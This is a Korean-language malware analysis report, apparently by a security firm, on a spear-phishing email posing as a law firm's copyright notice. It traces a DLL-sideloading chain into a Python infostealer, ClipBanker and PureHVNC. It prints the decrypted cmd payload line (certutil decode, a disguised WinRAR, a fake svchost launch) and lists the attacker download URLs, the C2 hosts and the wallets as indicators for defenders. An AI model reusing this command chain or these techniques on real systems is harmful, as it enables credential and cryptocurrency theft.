1. 개요
지난 6월 13일경, 자사 대표 메일 계정으로 ‘웹사이트에 게시된 콘텐츠와 관련된 공식 안내문’이라는 제목의 메일이 수신되었다.

본 글에서는 해당 스피어피싱 이메일에 대한 메일 헤더, 본문, 첨부된 악성 링크와 다운로드 되는 파일들에 대한 분석 내용을 기술한다.
2. 수신된 메일 분석
2.1. 메일 헤더
- 발신자 이메일 주소는
deunofujioemnipeggymaxim4085@gmail.com
으로, Gmail 주소를 사용한 것으로 확인되었다. 이는 공격자가 Google 계정을 생성하여 악성 메일 발송에 활용한 것으로 판단된다. - 메일 인증 프로토콜 결과를 통해 SPF, DKIM, DMARC 모두
pass
상태로 확인된다. 공격자가 Gmail 서비스를 사용하였기 때문에 이런 결과가 나온 것으로 판단된다. - 메일 발송 서버 정보를 나타내는 공식
Received
헤더에는mail-sor-f41.google.com
이 기록되어 있으며, 이는 Google의 메일 서버로 확인된다.

2.2. 메일 본문
해당 메일은 HMP Law(황목박 법률사무소)를 사칭하여 웹사이트 내 저작권 위반 내용을 통지하는 형식으로 구성되어 있다.
메일 본문에는 수신자의 웹사이트에 게시된 콘텐츠가 저작권을 침해하고 있으며, KeyEast의 요청에 따라 해당 사실을 확인하였다는 내용을 담고 있다.
본문 중간에는 문제된 콘텐츠의 상세 목록과 확인 일자, 저작권 소유자 등의 정보가 기술되어 있으며, ‘관련 기사 목록 및 세부 자료(PDF 파일)’이라는 문구를 통해 첨부파일 또는 외부 링크 클릭을 유도하고 있었다.
특히, ‘HMP Law’, ‘KeyEast’ 등 실제 존재하는 회사명을 사용하여, 수신자에게 3일 이내 조치를 요청하는 등 긴박감을 조성하여 클릭을 유도하는 사회공학적 기법이 사용되었다.
본문의 내용은 수신자가 의심 없이 링크를 열람하도록 유도하기 위한 전형적인 스피어 피싱 공격 수법으로 판단된다.

이메일 본문에서 확인된 링크를 통해 사용자에게 악성 파일을 다운로드하도록 유도하는 구조이다.
해당 링크를 통해 제공된 파일의 정보는 아래와 같다.
URL | https://filezonekr.0911performance.de/YDYcezQ |
---|---|
파일명 | 위반_게시물_목록_상세_자료.zip |
파일형식 | 압축 파일(.zip) |
용량 | 133804,608 bytes (127 MB) |
MD5 | 28F12E7F6631DC368A4A2887B9E685E0 |

3. 악성파일 분석
악성파일 내용
이메일 본문에서 유도된 링크를 통해 다운로드된 압축 파일(위반_게시물_목록_상세_자료.zip)을 확인한 결과, 내부에는 다음과 같은 파일들이 존재한다.

이 중 위반_게시물_목록_상세_자료.exe
는 PDF 문서 아이콘과 유사한 아이콘을 사용하고 있으나, 실제로는 실행 파일로 확인된다.
나머지 DLL 파일 및 폴더는 모두 숨김 속성이 설정되어 있어 Windows 기본 설정으로 사용중인 일반 사용자는 인지하기 어렵다.
악성파일 실행 흐름
본 보고서에서는 악성 행위의 흐름을 보다 명확히 설명하기 위해 분석 결과를 바탕으로 공격 과정을 3단계로 구분하여 설명한다.

1단계 - 악성코드 실행 환경 구성
위반_게시물_목록_상세_자료.exe
첨부된 파일 중 사용자가 실행하게 되는 프로그램으로, 앞서 설명한 바와 같이 PDF 문서와 유사한 아이콘을 사용하여 사용자의 실행을 유도한다.
파일의 속성 정보에는 Haihaisoft社의 PDF Reader로 표시되어 있으며, 해당 프로그램은 정상 프로그램으로 악성행위를 수행하지 않는다.


위반_게시물_목록_상세_자료.exe
파일이 실행되면, 동일 경로에 위치한 version.dll
파일을 로드하게 된다.
이는 Windows 운영체제의 DLL 검색 순서(DLL Search Order)를 악용한 것으로, 실행 파일과 동일한 위치에 존재하는 DLL이 우선적으로 로드되는 특성을 이용한 것이다.
공격자는 이 메커니즘을 활용하여 악성 DLL을 로드한다.

version.dll
해당 악성 version.dll
은 정상 DLL을 위장한 Proxy DLL로, 실행 파일과 동일한 경로에 위치시켜 우선적으로 로드되도록 구성되어 있다.
이후 정상적인 기능 제공을 위하여 시스템 디렉터리 내의 진짜 version.dll
을 찾아 로드하고, 해당 DLL의 함수들을 중계(proxy)하는 방식으로 동작한다.

_
폴더에 존재하는 Evidence Report.docx
는 악성 DLL이 실행 중 불러오는 파일로, 문서 확장자를 사용하고 있으나 내부에는 암호화된 페이로드가 저장되어 있다.


Evidence Report.docx
파일의 내용을 복호화한 결과는 아래와 같다.
cmd /c cd _ && start Document.pdf && certutil -decode Document.pdf Invoice.pdf && images.png x -ibck -y Invoice.pdf C:\\\\Users\\\\Public && start C:\\\\Users\\\\Public\\\\Windows\\\\svchost.exe C:\\\\Users\\\\Public\\\\Windows\\\\Lib\\\\images.png ADN_NEW_VER_BOT && exit && exit
복호화된 페이로드는 Windows 명령 프롬프트(cmd.exe
)를 이용해 악성 행위를 수행하도록 구성되어 있으며, 분석한 결과는 아래와 같다.
- 암호화된 페이로드 복호화 -
certutil -decode Document.pdf Invoice.pdf
명령을 통해, 암호화된Document.pdf
파일을Invoice.pdf
로 복호화한다. 이는 Windows 기본 도구인certutil
을 이용한 것으로, 외부 도구 없이도 암호화를 해제할 수 있도록 구성되어 있다. - 악성 페이로드 압축 해제 -
images.png x -ibck -y Invoice.pdf C:\\Users\\Public
명령을 통해, 복호화된Invoice.pdf
파일을images.png
라는 실행 파일을 사용하여 지정된 경로(C:\\Users\\Public
)에 압축 해제한다. 해당images.png
는 실제 압축 해제 기능을 수행하는 WinRAR이며, 확장자만.png
로 변경되어 있다. - 2단계 악성코드 실행 - 마지막으로
start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png ADN_NEW_VER_BOT
명령을 통해, 2단계 악성코드가 실행된다.

2단계 - 정보탈취 및 지속성 유지
1단계에서 압축 해제 이후 생성된 디렉터리인 C:\Users\Public\Windows
에는 아래와 같은 실행 파일 및 라이브러리 파일들이 포함되어 있다.
특히, 해당 경로에 존재하는 svchost.exe
는 이름만 Windows 시스템 파일과 동일하게 위장되어 있을 뿐, 실제 파일은 Python 런타임 실행 파일(pythonw.exe
)으로 확인되었다.

또한, C:\Users\Public\Windows
디렉터리에는 python310.dll
, vcruntime140.dll
등 Python 실행에 필요한 필수 구성 요소가 함께 포함되어 있어, 외부 의존성 없이 독립적으로 악성 스크립트를 구동할 수 있는 환경이 갖추어져 있는 상태이다.

C:\Users\Public\Windows\Lib\images.png
해당 images.png
파일은 내부적으로 Python 스크립트를 포함하고 있으며, 암호화된 형태의 코드를 복호화한 뒤 marshal.loads()
를 통해 컴파일된 파이썬 바이트코드(.pyc)를 로딩하고, exec()
함수를 통해 실행하는 구조를 가진다.
이후 등장하는 악성 Python 스크립트들도 동일한 방식으로 구성되어 있다.

해당 악성코드에서 확인된 기능은 아래와 같다.
- 레지스트리 등록
지속성 유지를 위해서 컴퓨터가 부팅될 때마다 실행될 수 있도록 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
경로에 키 값 Windows Update Service
를 등록한다.

- 추가 페이로드 다운로드 및 실행
텔레그램 주소 t.me/ADN_NEW_VER_BOT
에 접근하여, 추가 페이로드 다운로드에 필요한 값(bAfkY)을 파싱한다.

이후, 해당 값을 이용하여 텍스트 파일 공유 사이트 paste.rs의 https://paste.rs/bAfkY
경로로부터 추가 페이로드를 다운로드한다.
paste.rs/bAfkY
에서 다운로드된 파일은 bAfkY.py
라고 명명하였다.

bAfkY.py
bAfkY.py
는 텍스트 공유 사이트 paste.rs
를 통해 다운로드된 Python 기반 악성 스크립트로 확인된다.
분석을 통해 확인한 기능은 아래와 같다.
기능 | 분석 결과 요약 |
---|---|
시스템 정보 수집 | 설치된 백신 목록, 컴퓨터 이름, 사용자명, 공인 IP, 운영체제 정보 |
브라우저 정보 수집 | 저장된 계정 정보(ID/PW), 쿠키, 자동완성, 결제수단, 방문기록 등 |
수집 정보 전송 | 수집된 모든 정보를 압축하여 .zip 파일로 생성한 후, 공격자가 구축한 인프라에 업로드 |
추가 페이로드 실행 | ClipBanker, PureHVNC 악성코드 실행 |
- 시스템 정보 수집
- 설치된 백신 목록
- 컴퓨터 이름, 사용자명
- 공인 IP 및 국가 코드 (ipwho.is API 이용)
- 운영체제 정보
- 브라우저 정보 수집
- 대상 브라우저
- Chomium 기반 브라우저
- Chromium, Thorium, Chrome, Iridium, Vivaldi, Epic, Dragon, CocCoc, Brave, Brave Nightly, Edge, Yandex, Slimjet, Opera, Opera GX, Opera Crypto, Speed360, QQBrowser, Sogou, Naver Whale, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Ghost, Blisk, CCleaner, CentBrowser, Liebao, Maxthon, UR Browser, Arc, Mullvad, Aloha, 360extremebrowser
- Gekco 기반 브라우저
- Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat
- Chomium 기반 브라우저
- 수집 항목
- 저장된 계정 정보 (ID/비밀번호)
- 쿠키
- 자동완성 정보
- 저장된 결제 카드 정보
- 방문 기록
- 대상 브라우저

- 수집 정보 전송
- 수집된 모든 정보를 압축하여
.zip
파일로 생성한 후, 공격자가 구축한 인프라에 업로드 - 사용된 명령제어(C2) 서버 주소
https://lp2tpju9yrz2fklj.lone-none-1807.workers.dev
- 수집된 모든 정보를 압축하여

- 추가 페이로드 실행
- ClipBanker 실행
https://paste.rs/7S7TJ
에서 다운로드
- PureHVNC 실행
https://0x0.st/8gPe.py
에서 다운로드
- ClipBanker 실행
3단계 - 추가 악성코드 실행
ClipBanker(7S7TJ.py)
paste.rs/7S7TJ
에서 다운로드 되는 파이썬 스크립트이며, 클립보드 모니터링을 통해 암호화폐 지갑 주소를 탈취하는 ClipBanker 계열의 악성코드다.

분석을 통해 확인한 공격자 지갑 주소 목록은 아래와 같다.
대상 가상 화폐 | 공격자 지갑 주소 |
---|---|
ADA | addr1v9z2y2779hpf3lgnyuy63uc9k57ax852gz5eswnlk832llsdp09ju |
APT | 0xee86319219d906d49a028123e0291b109af0a8247ee20ae2e0bdbb4981d85178 |
ATOM | cosmos1j8pp7zvcu9z8vd882m284j29fn2dszh05cqvf9 |
AVAX | X-avax13hlekjw5nqpl3hp3m5rl3ff4gpssf90anef0wt |
BCH | qqaffr86936tqskawz2xze5q3l04tre7uulwu0cqn5 |
SegWitBTC | bc1qaa9vghummhrtchemtnnylml6ap2g9zswqeadgt |
BTC | 1DPguuHEophw6rvPZZkjBA3d8Z9ntCqm1L |
DASH | Xg7MoYLMUtzt9Eo88mJZWvWDoZZXPznaGX |
DOGE | DH72ZiUDLNu25p6TetQ5QFn5SEmV3MyKkq |
ETH | 0xd38c3fc36ee1d0f4c4ddaeebb72e5ce2d5e7646c |
KAVA | kava1szpwvzhehgxtuxsfyp9r97m5fcu5805dqzr7ep |
LTC | LKWGDHLLfzMRXrQm4aXNDvqefuTVQKErq2 |
NANO | nano_1i6so5d8owzb9cxwnapb1oypzg4s5dx7ag5cb9rfh9ckmti5h91ss9695yrx |
NEO | AJkLwhs46y8oBjBE6ELttp43DZ5pDYxCgA |
QTUM | QgqaGFgQ8tYJTx5rbd58RkY3vNBqXphoZc |
TRX | TMxdsJ9G2urZ9wf9nSKRVpwT8qtu5ApMMu |
XLM | GABFQIK63R2NETJM7T673EAMZN4RJLLGP3OFUEJU5SZVTGWUKULZJNL6 |
XMR | XMR_ADDRESS |
XRP | rNxp4h8apvRis6mJf9Sh8C6iRxfrDWN7AV |
XTZ | tz2ASUGoBPejTDFuRDHMQLTd2rS4Z3aFw8Xw |
ZEC | tex1fl5anvmna38x2r8umyyqpgsrxtm5dkrl226ag6 |
ALGO | L2JIZTBLCOTR2VAL22IRXHKQELBI6VB4UUW5SGVKFUFKXKLZD5YP7ZJVK4 |
HBAR | 0.0.1873771 |
SOL | GQwKEEi49iKywE8ycnFsxRhxJTVf6YsoJb2vAFigc8GK |
DOT | 12QHbhTZgkckVBN4M9C8JvuFHYtJQZT9vepAjmuDpYiWLcME |
TON | EQD5mxRgCuRNLxKxeOjG6r14iSroLF5FtomPnet-sgP5xNJb |
NEAR | 9cffb87b56c40283ad505a3d5895b72663d9d8d7e5d070a8d5818d60820de10b |
PureHVNC(8gPe.py)
8gPe.py
는 Python으로 작성된 악성 스크립트로, Process Hollowing 기법을 활용하여 악성 페이로드를 실행한다.
디컴파일한 코드 내에서 Proccess Hollowing을 위한 전형적인 Windows API 호출 패턴이 확인된다.


Process Hollowing의 대상은 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
로 확인된다.

실행되는 악성코드는 C#으로 작성된 PureHVNC 악성코드로 확인된다.

상세 분석 결과, 연결하는 C2서버는 157.66.26.209
로 확인된다.

식별된 C2 서버(157.66.26.209) 관련하여 협력사인 나루시큐리티의 도움을 받아 네트워크 분석을 진행하였다.
공격자는 뉴질랜드에 위치한 취약 서버들을 먼저 침해하여 공격 거점과 컨트롤러로 활용한 뒤 이를 중계지로 거쳐 최종적으로 C2 서버에 접속하는 것으로 파악된다.
이 과정에서 3218, 541, 56001~56003번 포트가 사용되었다. 즉, 공격 인프라는 거점 서버→컨트롤러→C2 서버→감염지로 이어지는 다단계 구조를 가지며 취약하게 관리되고 있는 보안 솔루션 서버를 악용하고 있는 특징이 있었다.

4. 결론
본 사례와 같이 실존하는 기관이나 법률사무소를 사칭한 스피어피싱 공격은 수신자의 신뢰를 유도하고 판단력을 흐림으로써, 즉각적인 행동을 유발하도록 설계되어 있어 각별한 주의가 요구된다.
이러한 공격을 예방하기 위해서는 임직원을 대상으로 한 정기적인 보안 교육을 시행하고, 이메일 수신 시 발신자 정보와 첨부파일, 하이퍼링크의 진위 여부를 확인하는 습관을 갖는 것이 중요하다.
또한, 필요 시 외부 이메일에 대한 모니터링 체계를 구축하고, 의심스러운 첨부파일이나 링크에 대해 자동 분석 및 차단 기능을 제공하는 보안 솔루션을 도입하는 방안도 고려할 수 있다.
특히 이번 사례에서는 기존의 실행 파일(.exe)이 아닌, Python 스크립트 기반의 악성코드가 사용된 점이 특징적이다.
공격자는 자체적인 실행 환경을 구성하여 의존성을 최소화하고, .pyc 등 중간 형태의 파일을 활용하여 백신 탐지를 우회하려는 시도를 하였다.
이처럼 악성코드는 점점 더 다양한 언어와 파일 형식으로 진화하고 있으며, 이에 따라 보안 체계 또한 정적 분석뿐 아니라 실행 환경 기반의 동적 분석 및 행동 기반 탐지 기능을 함께 갖추어야 한다.
기술적 대응과 사용자 인식 제고가 병행될 때, 스피어피싱으로 인한 실질적인 피해를 효과적으로 줄일 수 있을 것으로 판단된다.
5. IoC
URL
- filezonekr.0911performance.de/YDYcezQ
- t.me/ADN_NEW_VER_BOT
- paste.rs/bAfkY
- lp2tpju9yrz2fklj.lone-none-1807.workers.dev
- 0x0.st/8gPe.py
- paste.rs/7S7TJ7
IP
- 157.66.26.209 (베트남, TRUMVPS COMPANY LIMITED)
Hash
- 28F12E7F6631DC368A4A2887B9E685E0 위반_게시물_목록_상세_자료.zip
- 6675E81AB020AB4568E1D7BBDC99C4E8 version.dll